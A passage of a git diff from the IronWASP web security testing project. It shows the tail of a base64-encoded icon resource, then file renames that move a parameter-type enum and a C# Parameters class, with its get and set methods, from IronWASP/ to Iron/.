AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + 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 + + + \ No newline at end of file diff --git a/IronWASP/ParameterType.cs b/Iron/ParameterType.cs similarity index 96% rename from IronWASP/ParameterType.cs rename to Iron/ParameterType.cs index 93b7bcc..8277f06 100644 --- a/IronWASP/ParameterType.cs +++ b/Iron/ParameterType.cs @@ -1,34 +1,34 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum ParameterType - { - Query, - Body, - Cookie, - RequestHeaders, - ResponseHeaders, - Null - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum ParameterType + { + Query, + Body, + Cookie, + RequestHeaders, + ResponseHeaders, + Null + } +} diff --git a/IronWASP/Parameters.cs b/Iron/Parameters.cs similarity index 96% rename from IronWASP/Parameters.cs rename to Iron/Parameters.cs index 94ed9c9..2eeaa78 100644 --- a/IronWASP/Parameters.cs +++ b/Iron/Parameters.cs @@ -1,440 +1,445 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class Parameters - { - Dictionary> ParameterStore = new Dictionary>(); - - public int Count - { - get - { - return ParameterStore.Count; - } - } - - internal Parameters() - { - - } - - //Get Method - public string RawGet(string Name) - { - return this.RawGet(Name, BaseSafeRaw, BaseEncode, BaseDecode); - } - public string RawGet(string Name, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - string SafeName = SafeRawMethod(Name); - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key == null) - { - throw new Exception("Parameter not found"); - } - else - { - List Values = ParameterStore[Key]; - return Values[0]; - } - } - public string Get(string Name) - { - return BaseDecode(this.RawGet(BaseEncode(Name))); - } - - //Set method - public void RawSet(string Name, string Value) - { - this.RawSet(Name, Value, BaseSafeRaw, BaseEncode, BaseDecode); - } - public void RawSet(string Name, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - if (Name.Trim().Length == 0) return; - string SafeName = SafeRawMethod(Name); - string SafeValue = SafeRawMethod(Value); - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if(Key == null) - ParameterStore[SafeName] = new List() { SafeValue }; - else - ParameterStore[Key] = new List() { SafeValue }; - } - public void Set(string Name, string Value) - { - this.RawSet(BaseEncode(Name), BaseEncode(Value)); - } - - //Set at point - public void RawSet(string Name, int Position, string Value) - { - RawSet(Name, Position, Value, BaseSafeRaw, BaseEncode, BaseDecode); - } - public void RawSetAt(string Name, int Position, string Value) - { - RawSet(Name, Position, Value); - } - public void RawSet(string Name, int Position, string Value, SafeRawDelegate SafeRawMethod, EncodeDelegate EncodeMethod, DecodeDelegate DecodeMethod) - { - if (Name.Trim().Length == 0) return; - string SafeName = SafeRawMethod(Name); - string SafeValue = SafeRawMethod(Value); - if (Position < 0) return; - string Key = MatchAndGetKey(SafeName, EncodeMethod, DecodeMethod); - if (Key == null) - { - ParameterStore[SafeName] = new List() { SafeValue }; - } - else - { - if (Position >= ParameterStore[Key].Count) - { - this.Add(Key, SafeValue); - } - else - { - ParameterStore[Key][Position] = SafeValue; - } - } - } - public void Set(string Name, int Position, string Value) - { - this.RawSet(BaseEncode(Name), Position, BaseEncode(Value)); - } - public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - //Set mutliple - public void RawSet(string Name, List Values) 